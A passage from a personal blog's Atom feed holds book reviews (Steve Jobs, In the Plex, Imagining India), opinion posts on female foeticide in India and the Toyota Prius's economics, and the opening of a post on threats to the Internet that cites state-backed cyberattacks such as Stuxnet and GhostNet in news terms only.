<p>Disclosure: We both work for different teams in Google Security.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/technology" term="technology" label="technology"/></entry><entry><title type="html">Book Review: Steve Jobs by Walter Isaacson</title><link href="https://ashishb.net/book-summary/steve-jobs/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/intel-server-market/?utm_source=atom_feed" rel="related" type="text/html" title="Intel will lose server market even faster than consumer"/><link href="https://ashishb.net/book-summary/breakout-nations/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Breakout Nations by Ruchir Sharma"/><link href="https://ashishb.net/book-summary/the-tangled-web/?utm_source=atom_feed" rel="related" type="text/html" title="Book Review: The Tangled web"/><link href="https://ashishb.net/book-summary/in-the-plex/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: In the Plex by Steven Levy"/><link href="https://ashishb.net/book-summary/imagining-india-by-nandan-nilekani/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Imagining India by Nandan Nilekani"/><id>https://ashishb.net/book-summary/steve-jobs/</id><author><name>Ashish Bhatia</name></author><published>2012-07-17T05:40:22+00:00</published><updated>2012-07-17T05:40:22+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the remarkable journey of Steve Jobs and Apple, exploring his personal life, iconic innovations, and the intriguing dynamics with Silicon Valley giants.</blockquote><p>The   
    
    
<a href="https://amzn.to/2JkKp9f?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is 50% story of Jobs and 50% history of the Valley.
From the beginning of Apple to it becoming the world&rsquo;s most valuable company, the book covers everything in depth (and is a bit too long)
Some of the key things in the book are Steve Job&rsquo;s fruitarian diet, journey to India, love for absolute minimalism, extreme (positive as well as negative) treatment of employees, relation with Bill Gates (and Microsoft), battle with Google, battle with cancer and a strong belief that normal rules simply don&rsquo;t apply to him.
The book covers a few major ideas including iTunes store (which brought music online), making of Toy Story, development of iPhone and iPad in detail.
At several points, the author clearly illustrates that Apple&rsquo;s designers and NOT engineers make the rules, for example, during the iPhone 4 antenna fiasco.
Overall, it was a nice read, especially, when reading it along with 
<a href="/book-summary/in-the-plex/">In the Plex</a> which is about Google.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/apple" term="apple" label="apple"/></entry><entry><title type="html">Book Summary: In the Plex by Steven Levy</title><link href="https://ashishb.net/book-summary/in-the-plex/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-tangled-web/?utm_source=atom_feed" rel="related" type="text/html" title="Book Review: The Tangled web"/><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Lean Startup by Eric Ries"/><link href="https://ashishb.net/book-summary/remote-office-not-required/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Remote - office not required"/><link href="https://ashishb.net/book-summary/how-to-create-a-mind-by/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: How to create a mind by Ray Kurzweil"/><link href="https://ashishb.net/book-summary/winners-take-all-the-9-fundamental-rules-of-high-tech-strategy/?utm_source=atom_feed" rel="related" type="text/html" title="Winners Take All - The 9 fundamental rules of high tech strategy"/><id>https://ashishb.net/book-summary/in-the-plex/</id><author><name>Ashish Bhatia</name></author><published>2012-06-03T23:09:20+00:00</published><updated>2012-06-03T23:09:20+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the remarkable journey of Google, from its inception in a Stanford dorm to its global influence, in this captivating book filled with insider stories.</blockquote><p>An amazing   
    
    
<a href="https://amzn.to/2KbijOY?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> which describes Google&rsquo;s journey right from its beginning in the Stanford dorm. The author interviewed several top echelons of Google and presented several interesting insider anecdotes and stories of Google.</p>
<p>The book provides details of major projects like Gmail, Google Desktop, Google News and Google Toolbar, Google Books and the failure of Orkut. It also describes the process of acquisition of YouTube, Blogger, Docs, GrandCentral and Double Click.</p>
<p>Following are the few salient points. The book has many more interesting anecdotes which I am forced to skip here.</p>
<ol>
<li>History
<ul>
<li>The first meeting of Larry with his tour guide Sergey Brin during a tour of San Francisco organized by Stanford where Larry felt Sergey is really obnoxious.</li>
<li>Page&rsquo;s dorm roommate came out with the name &ldquo;googol&rdquo;.</li>
<li>The initial product was way ahead of the competitor Excite which decided not to purchase it since this can eventually lead to the low stickiness of the users&rsquo; on their site (They wanted search engine which is 80% as good as the best out there)</li>
<li>Ultimately, Larry and Sergey started their own company and moved to Susan Wojcicki&rsquo;s garage.</li>
<li>And soon they were joined by several experienced researchers like Urs Holzle, Amit Singhal, and Krishna Bharat.</li>
<li>Eventually, Susan left Intel&rsquo;s director position and joined Google as well (Sergey later married her sister, Anne)</li>
<li>The founders were ultimately forced to get &ldquo;adult supervision&rdquo; for which they chose 
<a href="/book-summary/steve-jobs/">Steve Jobs</a> (which was far-fetched even then) and ended up with Eric Schmidt.</li>
</ul>
</li>
<li>Money
<ul>
<li>Overture came up with the CPC model but never patented it and everyone from Google to Yahoo started using it.</li>
<li>A Google engineer (Eric Veach) re-invented reverse dutch auction system which improved the CPC model a lot (This became AdWords)</li>
<li>Another company AdSense came up with its patented idea of showing ads on the website and eventually Google bought it.</li>
</ul>
</li>
<li>IPO
<ul>
<li>The road to IPO was an ugly one, SEC didn&rsquo;t like their informal letter, founders cracked jokes instead of answering potential investors questions sincerely, dressed informally, decided reverse dutch auction for IPO and final nail in the coffin was a   
    
    
<a href="https://kottke.org/plus/misc/google-playboy.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Playboy interview</a>, this all eventually lead to a decline in price from (expected) $135 per share to 85$ per share.</li>
</ul>
</li>
<li>Failed China policy
<ul>
<li>Bad start: Google sounded like Dog, GuGe (&ldquo;valley girl&rdquo;) didn&rsquo;t rhyme with urban Chinese and Google was never able to come up with a good name.</li>
<li>Worse journey: Google China was bad at fresh content compared to Baidu, was a regular target of Chinese government fines and its employees felt like second class citizens (with no access to production code), not to mention the personality cult of   
    
    
<a href="https://en.wikipedia.org/wiki/Kai-Fu_Lee?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kai-Fu Lee</a> (every employee wanted to be given title of his personal assistant). While greasing reporters&rsquo; palm to gifting government employees was prevalent in China, many of these activities were culturally looked down upon in USA (and sometimes, they were outright illegal).   
    
    
<a href="https://www.pcworld.com/article/130502/google_admits_using_outside_source_for_chinese_app.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sogou code plagiarism</a> incident proved another PR hit.</li>
<li>Worst exit: after   
    
    
<a href="https://googleblog.blogspot.com/2010/01/new-approach-to-china.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">security incident</a> (in 2010).
Sergey was opposed to the idea of entering China from the beginning and the author suspects that China policy was one reason why Eric stepped down in 2011.</li>
</ul>
</li>
<li>Political initiatives:
<ul>
<li>Google&rsquo;s open support to Obama</li>
<li>The lobbying effort to reduce fix copyright issues (and reduce the music industry&rsquo;s influence)</li>
</ul>
</li>
<li>Controversies:
<ul>
<li>  
    
    
<a href="https://computer.howstuffworks.com/google-books2.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Book controversy</a></li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Viacom_International_Inc._v._YouTube,_Inc.?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Youtube-Viacom lawsuit</a></li>
<li>  
    
    
<a href="https://googleblog.blogspot.com/2010/05/wifi-data-collection-update.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">StreetView controversy</a></li>
<li>Being a big company now, any major effort from Google is seen with suspicion.</li>
</ul>
</li>
</ol>
<p>The book ends with a note on Facebook and Google&rsquo;s social effort (Orkut, Open Social and not Google+).
It&rsquo;s a must-read for everyone who is curious to know about Google.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/google" term="google" label="google"/><category scheme="https://ashishb.net/tag/technology" term="technology" label="technology"/></entry><entry><title type="html">Female Foeticide</title><link href="https://ashishb.net/misc/the-female-foeticide/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/random-thoughts-rape-and-the-indian-blame-game/?utm_source=atom_feed" rel="related" type="text/html" title="Random Thoughts: Rape and The Indian Blame Game"/><link href="https://ashishb.net/misc/career-destination-of-iitians-usa-vs-india/?utm_source=atom_feed" rel="related" type="text/html" title="Career Destination of IITians: USA vs India"/><link href="https://ashishb.net/book-summary/breakout-nations/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Breakout Nations by Ruchir Sharma"/><link href="https://ashishb.net/book-summary/imagining-india-by-nandan-nilekani/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Imagining India by Nandan Nilekani"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><id>https://ashishb.net/misc/the-female-foeticide/</id><author><name>Ashish Bhatia</name></author><published>2012-05-06T23:42:51+00:00</published><updated>2012-05-06T23:42:51+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the deeper causes of female foeticide beyond legislation. Can tackling old-age security and cultural norms bring lasting change in society?</blockquote><p>The first episode of Aamir Khan&rsquo;s show   
    
    
<a href="https://www.youtube.com/watch?v=-IlXx5xe59A&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Satyamev jayate</a> raised the issue of female foeticide in Rajasthan. While the show asked for stringent laws, it missed a few major reasons behind the same.</p>
<ol>
<li>Male child as a support for old-age (lack of social security)
Nandan Nilekani explained the issue in depth in its Book <em>
<a href="/book-summary/imagining-india-by-nandan-nilekani/">Imagining India</a></em> and strongly recommended a contribution based pension plan for self-employed Indians to relieve <em>old age insecurity</em>.</li>
<li>Prohibition on consanguineous marriage in most of India
Indologist Koenraad Elst   
    
    
<a href="https://koenraadelst.blogspot.com/2011/10/clash-of-civilizations-cancelled.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">wrote</a> &quot; <em>In patriarchal societies like Confucian China and Hindu India, <strong>a daughter leaves her family upon getting married. This affects the status of the girl child negatively, making her education into a burden on the family that will only profit another family.</strong> (&hellip;) Brahmanical tradition, like the Roman Catholic Church, frowned upon inbreeding and imposed forbidden degrees of consanguinity. This taboo does not exist in most West-Asian and North-African countries. More often than not, a young man will marry his first or second cousin; or a slightly older man, his niece.</em>&quot;
Thus, unfortunately, for most patriarchal Indians for whom consanguinity is a taboo, marrying his daughter to a man hitherto unknown to him (in Koenraad&rsquo;s words) is like &ldquo;tilling his (unknown) neighbor’s land&rdquo;.</li>
</ol>
<p>While we can always make laws to fight foeticide, the real solution can only come out by trying to sort out above two issues.
The issue of consanguinity is, of course, a cultural one but if government fixes the issue of old age insecurity, the desire for a male child and thus, the problem of female foeticide should disappear in long run.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Is there any USP of Toyota Prius?</title><link href="https://ashishb.net/finance/is-there-any-usp-of-toyota-prius/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/?utm_source=atom_feed" rel="related" type="text/html" title="Why there aren't many digital nomads from India"/><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="related" type="text/html" title="The land of good deals"/><link href="https://ashishb.net/finance/inflation/?utm_source=atom_feed" rel="related" type="text/html" title="Inflation, IRS, Credit cards, and Vendors"/><link href="https://ashishb.net/finance/revenue-vs-cost-axis/?utm_source=atom_feed" rel="related" type="text/html" title="Revenue vs Cost Axis"/><link href="https://ashishb.net/finance/usa-union-of-sales-and-advertisement/?utm_source=atom_feed" rel="related" type="text/html" title="USA = Union of Sales and Advertisement"/><id>https://ashishb.net/finance/is-there-any-usp-of-toyota-prius/</id><author><name>Ashish Bhatia</name></author><published>2012-04-14T09:31:47+00:00</published><updated>2012-04-14T09:31:47+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why the Toyota Prius may not be the top choice for cost-conscious or eco-minded drivers as we compare fuel expenses and environmental impacts.</blockquote><p>Let us say an average American drives 15, 000 miles per year; The exact average   
    
    
<a href="https://www.fhwa.dot.gov/ohim/onh00/bar8.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">being</a> 16550 miles.</p>
<p>Let us assume the price of gasoline to be 5$ per gallon, which is much higher than   
    
    
<a href="https://gasbuddy.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">current price</a> in the current range of 4-4.50$ per gallon; a higher price should further support high mileage vehicles like Prius.</p>
<p>and try to compare the total gas expense of Prius, BMW, and Corolla</p>
<ol>
<li>Toyota Prius which gives ~ 40 miles per gallon [   
    
    
<a href="https://www.fueleconomy.gov/feg/noframes/31836.shtml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]
Total gas consumption = 375 gallons
Total gasoline expense = <strong>1775$</strong> - let&rsquo;s take this as our base fuel expense</li>
<li>BMW 3series which gives ~ 20 miles per gallon [   
    
    
<a href="https://www.fueleconomy.gov/feg/noframes/32346.shtml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]
Total gas consumption = 750 gallons
Total gasoline expense = 3750$
Extra expense over Prius = 2000$. Now, I assume that most BMW owners earn more than 100K or at least pretend to do that, is 2000$ per year that big an expense to pull them away from a luxury BMW?</li>
<li>Toyota Corolla (which gives ~ 30 miles per gallon) [   
    
    
<a href="https://www.fueleconomy.gov/feg/bymodel/2011_Toyota_Corolla.shtml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]
Total gas consumption = 500 gallons
Total gasoline expense = 2500$
Extra expense over Prius = 775$</li>
</ol>
<p>Note: not to forget that Corolla is ~ 7000$ cheaper than Prius
<strong>Ignoring discounted cash flow analysis, It takes roughly nine years for Prius to pay back the extra premium</strong>. <strong>If we do a discounted cash flow analysis, it will take even longer.</strong></p>
<p>Clearly, at prevailing gas prices, Prius is neither an economical choice not a luxury choice.</p>
<h2 id="is-prius-a-choice-for-environmentalists">Is Prius a choice for environmentalists</h2>
<p>And some who might think that its an environmental choice must realize that &ldquo;most of the pollution a car generates over its lifetime is generated during the process of actually making the car&rdquo; and Prius is not the most &ldquo;green&rdquo; car out there. EDIT: The following paragraph has been added in response to (first) comment made by Vikram.</p>
<p>As per   
    
    
<a href="https://science.howstuffworks.com/science-vs-myth/everyday-myths/does-hybrid-car-production-waste-offset-hybrid-benefits.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">HowStuffWorks</a>, “If you drive both a conventional and hybrid car for 160,000 miles (257,495 kilometers), the conventional vehicle requires far more energy to operate and emits far more greenhouse gases over its lifetime, significantly canceling out any imbalance during the production stage”.</p>
<h2 id="the-ignored-cultural-aspect">The ignored &ldquo;cultural&rdquo; aspect</h2>
<p>Given that 76% of Americans drive   
    
    
<a href="https://usgovinfo.about.com/b/2011/09/29/america-still-drives-alone.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">alone</a>, a simple fix of &ldquo;doing carpooling to commute&rdquo; will bring even a BMW at par with Prius.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/car" term="car" label="car"/><category scheme="https://ashishb.net/tag/prius" term="prius" label="prius"/></entry><entry><title type="html">Book Summary: Imagining India by Nandan Nilekani</title><link href="https://ashishb.net/book-summary/imagining-india-by-nandan-nilekani/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/blackberry-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="BlackBerry Controversy in India"/><link href="https://ashishb.net/book-summary/breakout-nations/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Breakout Nations by Ruchir Sharma"/><link href="https://ashishb.net/book-summary/india-unbound/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: India Unbound by Gurcharan Das"/><link href="https://ashishb.net/misc/random-thoughts-rape-and-the-indian-blame-game/?utm_source=atom_feed" rel="related" type="text/html" title="Random Thoughts: Rape and The Indian Blame Game"/><link href="https://ashishb.net/misc/the-female-foeticide/?utm_source=atom_feed" rel="related" type="text/html" title="Female Foeticide"/><id>https://ashishb.net/book-summary/imagining-india-by-nandan-nilekani/</id><author><name>Ashish Bhatia</name></author><published>2012-01-28T08:18:40+00:00</published><updated>2012-01-28T08:18:40+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the evolution of post-independent India with this book&rsquo;s pragmatic approach to contradictions like language, technology fears, and urban development challenges.</blockquote><p>  
    
    
<a href="https://www.firstpost.com/business/infosys-nandan-nilekani-returns-as-good-cop-but-company-is-in-a-mess-needs-tough-makeover-3971829.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Firstpost" loading="lazy" src="/img/firstpost-badge.svg"></a></p>
<p>The   
    
    
<a href="https://amzn.to/2qW4w6i?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> presents a <em>generalists</em> view of post-independent India. Unlike 
<a href="/book-summary/india-unbound/">India Unbound</a>, this book focuses primarily on post-independent India and takes a more pragmatic approach towards understanding the problems of contemporary India.  The best parts of the book are the interesting contradictions that the nation went through - love/hate relationship with the English language, fear of technology, and neglected urban development.</p>
<p>Overall, the book is divided into four sets of ideas, that have <em>arrived</em>, that are <em>in progress</em>, that are still <em>being debated,</em> and finally, that have <em>yet to become</em> part of public debate.</p>
<p>I have highlighted the best sections of the book in <strong>bold</strong>.</p>
<h2 id="ideas-that-have-arrived">Ideas that have arrived</h2>
<ol>
<li>Realization of the power of human capital (two billion arms to work instead of a billion mouth to feed)</li>
<li>Embracing that entrepreneurs work for the society instead of exploiting it - from Nehru&rsquo;s contempt for bania <em>civilization</em> to Manmohan&rsquo;s love for businessmen who are <em>a source of confidence and</em> <em>optimism</em> for India Inc.</li>
<li><strong>Language controversy and accepting English as lingua franca</strong> Nehru wanted Hindi to be the official language, but due to Tamil Nadu&rsquo;s resistance the declaration was delayed till 1965, and in 1965, the riots erupted again, ultimately, both English and Hindi were accepted as official languages. For education, it was decided to follow the three-language formula - Hindi, English, and a regional language. Even though we have an English-language-based economy, a political education policy that tried to suppress English teaching in government schools destroyed the future of several, especially poor, children. Over time, primarily due to outsourcing, liberalization, and private schools, the attitude towards English has changed.</li>
<li><strong>Understanding computers are enablers instead of job eaters</strong>
The fear among labor unions that technology would destroy jobs was so great that for the computerization of banks, computers were referred to as Ledger Posting Machines. Slowly, the computerization of exchanges, NSE, NSDL, and NCDEX, and IT companies changed the perception completely.</li>
<li>Positive attitude towards globalization
From the initial fear of globalization (leading to colonialism) to globalization (which provides more opportunities, improves the standard of living, and eliminates poverty)</li>
</ol>
<h2 id="ideas-that-are-in-progress">Ideas that are in progress</h2>
<p>People are already aware of these and completing them is now a matter of time.</p>
<ol>
<li>Better schools
The government repeatedly missed their self-declared deadlines for attaining 100% literacy but with mid-day meals and a strong preference for education among parents, things are changing for good.</li>
<li><strong>Better cities</strong> Just after independence, our leaders hated cities, for them, they were a symbol of the colonial past. Politics regularly favored rural development (to the extent that states showed their urban areas as rural to get funds from the center) despite the fact that India was urbanizing at a rapid pace.  Badly planned urban agglomerations (and slums) are a consequence of these bad policies. The cities that were built (Chandigarh, Dispur, Durgapur, etc.) were more of symbolic importance to the leaders who failed to view the cities as the center of commerce and innovation.</li>
<li><strong>Better highways</strong>
Despite having inherited a huge rail infrastructure from British Raj, the additions to that were minimal (till Konkan Railway project was started in the 1990s), similarity the improvements made to roads were equally insignificant. The author praises NDA for the Golden quadrilateral but laments the fact that there is a huge gap between announcement and implementation.</li>
<li>Single markets
Better infrastructure and better laws like VAT which moves towards a unified market are important (&ldquo;internal globalization of India&rdquo;) and moves like area-based tax exemptions hurt the economy since they penalize states which have focused on infrastructure.</li>
</ol>
<h2 id="ideas-in-battle">Ideas in battle</h2>
<p>Citizens and politicians are aware but afraid to talk about these.</p>
<ol>
<li>Economic reforms
courtesy of 40 years of the socialist era and populist policies like diesel subsidies, it&rsquo;s still tough for politicians to talk about reforms</li>
<li><strong>Labor reforms</strong>
Archaic complicated labor laws have complicated and prevented job creation (even NREGA violates   
    
    
<a href="https://www.financialexpress.com/news/column-build-a-safety-net-not-a-hammock/712160/0?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">37 laws</a>). Unfortunately, no one is willing to fix them. Steps like NREGA are retrogressive.</li>
<li>Higher education
The author laments the fact that too much political control like reservation and MHRD interference has been a major hurdle for Indian universities. A cultural preference for white-collar jobs promotes theoretical knowledge over vocational training.</li>
</ol>
<h2 id="ideas-to-be-anticipated">Ideas to be anticipated</h2>
<p>The ideas haven&rsquo;t received their share of public debate.</p>
<ol>
<li>ICT (Information and Communication Technology)
E-governance, digital conversion of govt records (primarily land), and national ID system.</li>
<li>Healthcare
While rural India is still suffering from diseases like TB, malaria (due to poor healthcare), urban India is already in a grip of lifestyle diseases (obesity, diabetes). The twin problems have to be handled simultaneously.</li>
<li><strong>Social security</strong> (or lack thereof)
While India should not follow the western model of the welfare state (which has already drained the treasuries of most western countries), the assumption that the trend of children taking care of their parents at old age will continue is equally invalid. Therefore, the author criticizes   
    
    
<a href="https://www.indiatogether.org/2007/jul/law-seniors.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">laws</a> that make it mandatory for children to support parents and favors contribution-based pension schemes like   
    
    
<a href="https://en.wikipedia.org/wiki/New_Pension_Scheme_%28India%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">NPS</a> and suggests that these should be made available to the unorganized sector. The author also notes that while the pension fund of the US, UK, Australia, South Korea, and even European Parliamentarians invests in Indian stocks, Indian EPFO buys low-return government bonds instead.</li>
<li>Environment
When the western countries were growing, they were able to slowly outsource their industrial pollution to the third world (through colonization and then globalization), since that option is simply not available anymore for the developing world, they have to develop while taking care of the environment.</li>
<li>Energy
India had three major revolutions - Green (which made Haryana, Punjab, and west U.P. prosperous), White (which made Gujarat, Maharashtra, and A.P. prosperous), and IT (which impacted the educated population across the country primarily in the south), the time has come for the fourth revolution in biofuels can positively impact M.P., Rajasthan, Bihar, and east U.P.. A public-private partnership-oriented energy grid from which people can buy as well as sell power to can not only reduce power shortages but will also encourage adoption of renewable sources of energy.</li>
</ol>
<p>[ashishb&rsquo;s note: I find it weird that the issue of internal and external security is completely missing from the book despite heavy losses of life to regular   
    
    
<a href="https://articles.timesofindia.indiatimes.com/2007-08-27/india/27994784_1_terror-groups-terrorist-incidents-highest-number?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">terror strikes</a>.]</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/nandan-nilekeni" term="nandan-nilekeni" label="nandan-nilekeni"/><category scheme="https://ashishb.net/tag/politics" term="politics" label="politics"/></entry><entry><title type="html">Towards a broken future of Internet</title><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/a-fundamental-problem-with-aakash-indian-government-tablet-initiative/?utm_source=atom_feed" rel="related" type="text/html" title="Questioning Aakash - Indian Government tablet initiative"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/politics/understanding-corruption-a-talk-by-subramanian-swamy/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding Corruption: A talk by Subramanian Swamy"/><link href="https://ashishb.net/book-summary/india-unbound/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: India Unbound by Gurcharan Das"/><id>https://ashishb.net/tech/towards-a-broken-future-of-internet/</id><author><name>Ashish Bhatia</name></author><published>2011-12-24T19:21:48+00:00</published><updated>2011-12-24T19:21:48+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the main threats to the Internet&rsquo;s future, including cyberattacks, censorship, surveillance, privacy issues, and protectionism, and discover the global impact.</blockquote><p>Internet, which initially started as a DARPA experiment is [still] under the indirect control of USA government through   
    
    
<a href="https://en.wikipedia.org/wiki/Internet_Corporation_for_Assigned_Names_and_Numbers?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ICANN</a> despite several objections from   
    
    
<a href="https://www.edri.org/EU_parliament_SOPA?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Europe</a> as well as   
    
    
<a href="https://isocbg.files.wordpress.com/2011/09/ibsa_recommendations_internet_governance.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">IBSA</a>. This worked when most users were from the western world with the notable exception of   
    
    
<a href="https://en.wikipedia.org/wiki/Internet_censorship_in_China?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">China</a> and few   
    
    
<a href="https://news.bbc.co.uk/2/hi/technology/2360351.stm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">minor</a> quirks. But in the past few decades, not only the governments around the world are putting more controls but also the internet users (as well as enterprises) are fighting back against US control. In this blog post, I will describe the main threats to the existence of (current form of) Internet.</p>
<p>First, let&rsquo;s see a few incidents from the past -</p>
<h2 id="targeted-cyberattacks">Targeted Cyberattacks</h2>
<p><em>Incident 1:</em>   
    
    
<a href="https://www.mcafee.com/us/resources/white-papers/wp-operation-shady-rat.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Operation Shady RAT</a>, 70 organizations across 14 nations (from the USA to India) fell to targeted intrusions (probably) by <em>a state actor</em>, the operation started in 2006 and continued till 2011.</p>
<p><em>Incident 2</em>:   
    
    
<a href="https://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Operation Ghostnet</a>, primarily targeted Tibetan government in exile  (in India) but computers at embassies and foreign ministries of   
    
    
<a href="https://news.bbc.co.uk/2/hi/americas/7970471.stm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">many</a> other governments were compromised as well.</p>
<p><em>Incident 3:</em>   
    
    
<a href="https://www.symantec.com/connect/blogs/stuxnet-introduces-first-known-rootkit-scada-devices?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Stuxnet</a> was designed to target a particular configuration of centrifuges at Natanz who operational capacity dropped by 30   
    
    
<a href="https://www.haaretz.com/print-edition/news/computer-virus-in-iran-actually-targeted-larger-nuclear-facility-1.316052?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">percent</a> in 2010. The aim was to (at least) slow down Iran&rsquo;s uranium enrichment. Given the sophistication of Stuxnet (which exploited four zero-day vulnerabilities), it is believed to be the work of a <em>state actor</em>. A year later, a similar malware   
    
    
<a href="https://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">duqu</a> has emerged.</p>
<p>Incident 4:   
    
    
<a href="https://www.bloomberg.com/news/2011-12-13/china-based-hacking-of-760-companies-reflects-undeclared-global-cyber-war.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Byzantine Hades</a> has targeted 760 companies with the <em>alleged</em> aim of industrial espionage.</p>
<h2 id="cenensorship">Cenensorship</h2>
<p><em>Incident 1:</em>   
    
    
<a href="https://www.eff.org/issues/coica-internet-censorship-and-copyright-bill?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">SOPA and PIPA</a> are designed for pro-active blacklisting of domain names which are alleged to be serving infringing copyright content, thus, if domain registered by European national (with no link to the US at all) can be removed from DNS registry just on the basis of one legal notice, of course,   
    
    
<a href="https://www.edri.org/EU_parliament_SOPA?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">European parliament</a> is not happy about it. Laws like this   
    
    
